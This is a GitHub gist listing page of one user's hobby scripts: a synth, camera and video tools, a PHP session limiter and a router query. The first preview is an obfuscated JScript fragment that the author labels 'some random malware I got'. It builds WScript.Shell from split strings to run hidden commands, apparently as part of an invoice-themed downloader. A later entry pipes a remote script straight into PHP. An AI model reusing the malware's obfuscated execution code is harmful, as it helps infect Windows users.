Skip to content

Instantly share code, notes, and snippets.

@danieltroger
danieltroger / invoice_tBGGgU.js
Created March 9, 2016 15:45
Some random malware I got
function GDJvKNgkK(IVJATbrecnP) {
var oDgcGZJJ = "zgOl Ws WEnYBJh cri pt.S XUVMLD he ImdStDRD ll".split(" ");
var axxiqztP = XLiR(oDgcGZJJ[339-338] + oDgcGZJJ[532-529] + oDgcGZJJ[587-583] + oDgcGZJJ[489-483] + oDgcGZJJ[735-727]);
axxiqztP.Run(IVJATbrecnP, 0x1, 0x0);
}
function FxgXgJnDy(kJSXY,fRlhz,xWgZw,uOcD) {
var owDBH = "yhkOyO YRi pt.Shell kqErXrv Scri %TE MP% \\".split(" ");
var Cea=((1)?"W" + owDBH[4]:"")+owDBH[2];
var yM = WScript.CreateObject(Cea);
@danieltroger
danieltroger / script.html
Last active January 11, 2016 20:36
HTML part of script writing thingy (just needing versioning)
<!DOCTYPE html>
<html>
<head>
<title>A script which has yet to come</title>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<script src="http://natur-kultur.eu/phpjs.php/rand/file_get_contents/base64_encode/base64_decode/in_array/time"></script>
<script src="/jquery.min.js"></script>
<script src="http://code.interactjs.io/v1.2.6/interact.min.js"></script>
<style>
@danieltroger
danieltroger / synth.html
Created September 4, 2015 15:50
Deobfuscated synth (synth.bitsnbites.eu/)
<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>JavaScript 4k sound synth</title>
<style type="text/css">
* { margin:0; padding:0 }
html { background:#000 }
#footer { background:#111; color:#777; font-size:12px; position:fixed; left:0; bottom:0; height:20px; width:100% }
</style>
</head><body><div id="footer"><pre id="stat"> Generating some music (which is always the same...)</pre></div><canvas id="canvas"></canvas><script type="text/javascript">
@danieltroger
danieltroger / vrec.c
Created July 31, 2015 16:12
Video recording thingy
/*
gcc -Wall -o preview -lgphoto2 config.c focus.c preview.c
*/
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
@danieltroger
danieltroger / throwhimoff.php
Created July 29, 2015 09:49
Time limit thingy for ubuntu
#!/usr/bin/php
<?php
define("target","daniel");
define("maxtime",60); // per day
define("pidfile","/var/run/throwyaoff.pid");
define("timefile","/etc/time");
if(posix_getuid() != 0) die("Run as root" . PHP_EOL);
if($argc == 1) die($argv[0] . " <\033[34mcommand\033[0m>" . PHP_EOL . "Where \033[34mcommand\033[0m is one of \033[32mreset\033[0m, \033[32mstart\033[0m, \033[32mstop\033[0m or \033[32mrestart\033[0m." . PHP_EOL);
if($argv[1] == "restart") posix_kill(getrunningpid(),SIGUSR2);
if($argv[1] == "start" || $argv[1] == "restart")
@danieltroger
danieltroger / viewer.js
Created May 24, 2015 13:25
A better image viewer for blogspot pages (unfinished)
/* This script is not finished and won't work as it is.
The MIT License (MIT)
Copyright (c) 2015 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
@danieltroger
danieltroger / devices.sh
Created March 31, 2015 12:18
One-liner to get all active devices from thomsom router
#!/bin/bash
# The router localisation has to be swedish for this to work. You could surely even just replace "aktiv" with active but I ain't sure...
curl -s "http://192.168.1.254/cgi/b/devs/ov/" | grep -i aktiv | grep -vi inaktiv | grep -v web | awk ' { print $13 } ' | cut -c 12- | sed 's/<.*//' | sort | tr '\n' ', ' | rev | cut -c 2- | rev
@danieltroger
danieltroger / vmux.html
Created March 23, 2015 14:09
Video multiplexer
<!DOCTYPE html>
<html>
<body>
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script>
<video autoplay style="display: none;">
<source src="//download.blender.org/peach/bigbuckbunny_movies/big_buck_bunny_480p_h264.mov" type="video/mp4">
<source src="//download.blender.org/peach/bigbuckbunny_movies/big_buck_bunny_480p_stereo.ogg" type="video/ogg">
<!-- <source src="big_buck_bunny_480p_h264.mov" type="video/mp4">
@danieltroger
danieltroger / size.md
Last active August 29, 2015 14:16
Formatsize

#On the fly php <(curl -s https://gist.githubusercontent.com/danieltroger/b4f04eded3cd4eda44f9/raw/a8f8a49f3ed742aaab8d349fa0ec5ab64a767c96/size.php) <byte value>

#Download:

./size.sh ```
@danieltroger
danieltroger / sort.php
Last active August 29, 2015 14:12 — forked from anonymous/sort.php
Sort video files.
#!/usr/bin/php
<?php
echo "\r \r"; // if you have executed this with the php CLI (php filename), we remove the shebang
declare(ticks = 1);
/*
The MIT License (MIT)
Copyright (c) 2014-2015 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of